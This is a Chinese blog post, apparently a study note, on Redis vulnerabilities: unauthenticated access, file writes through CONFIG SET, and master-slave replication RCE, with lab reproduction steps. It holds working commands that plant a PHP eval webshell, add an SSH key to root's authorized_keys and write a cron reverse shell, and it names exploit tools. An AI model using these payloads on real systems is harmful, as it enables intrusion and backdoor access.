Redis漏洞详解

Redis 漏洞

未授权访问

  • 作用: 可以直接进入到Redis交互界面中
  • 条件: 可访问Redis服务(Redis服务默认绑定127.0.0.1:6379, 通过bindport配置项设置) 未设置Redis密码(Redis默认没有密码, 通过requirepass配置项设置)
  • 可外网访问Redis服务的情况bind值为0.0.0.0bind配置项被注释掉(等效于bind 0.0.0.0), 且protected-mode值为no

写入文件

  • 条件:
    1. Redis < 6 或 Redis > 6 且enable-protected-configs配置项值为yes
    2. 能操控Redis执行的语句 注意: Redis > 6时, 新增了个不可动态修改的配置项enable-protected-configs(默认值为no), 当其值为no时, 会使得被保护的配置项 不可被动态修改 (dir 与 dbfilename)
  • 原理:
    1. 设置 redis数据库存放目录(dir配置项) 到位置place
    2. 设置 数据库名字(dbfilename配置项) 为filename,
    3. 设置随意参数, 给参数赋值content
    4. 导出数据库(save命令)
    5. 就可以在place写入文件filename内容为content 和其它参数等内容
  • 写入webshell
config set dir /var/www/html/ 
config set dbfilename shell.php 
set xxx "\n\n<?php eval($_REQUEST['adm']);?>\n\n"
save

# \n\n 代表换行的意思, 用redis写入文件的会自带一些版本信息, 如果不换行可能会导致无法执行 
  • 写ssh-keygen公钥**漏洞复现**: docker pull medicean/vulapps:r_redis_1docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxx "\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINqc+lsHc0C4vpFhg/g+H+VumjWQOvxNVMf7QRQLBGe+ kali@kali\n\n"
save
  • 写入计划任务反弹shell**前提**: 只适用于Centos (Ubuntu不可用, 因为redis写文件默认644权限, 而Ubuntu要求用户定时文件权限必须为600, 否则回报错; 且redis写入文件的会自带一些版本信息, 会导致Ubuntu报错)
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\n" 
save

主从复制RCE

  • 前提:
    1. Redis版本 4.x / 5.x
    2. 能操控Redis执行的命令
  • 作用: 可造成Redis所在主机上的任意命令执行
  • 原理: 背景: Redis中包含主从模式, 且从Redis4开始, Redis支持动态加载模块 主从模式: 以一个redis服务器作为主节点, 其它的作为从节点(备份机), 当主节点数据被改变时, 从节点会对主节点进行同步(同步的方法由主节点决定, 可选择全量同步/增量同步) 主从模式设置:

    • 从节点用SLAVEOF <主节点ip> <主节点端口>配置其主节点 (redis5开始可以使用REPLICAOF, 使用方法相同)
    • 主节点无需特殊配置, 从节点配置好后其自己就会自动与主节点连接
    • 可用INFO replication查看主从状态 动态加载模块: 可以使用MODULE LOAD指令加载外部的.so文件作为模块使用 漏洞原理:
    1. 在目标Redis上执行SLAVEOFREPLICAOF将攻击机上Redis当作主节点
    2. 攻击机让目标进行全量同步, 并发送恶意so文件
    3. 目标加载恶意so文件并执行, 即可造成RCE
  • 攻击攻击脚本:
    1. metasploit的exploit/linux/redis/redis_replication_cmd_exec模块 (成功率高, 且不会摧毁Redis服务)
    2. Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement
    3. n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (不能密码认证, 只能用于Redis未授权)
    4. vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module复现: vulhub\redis\4-unacc
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇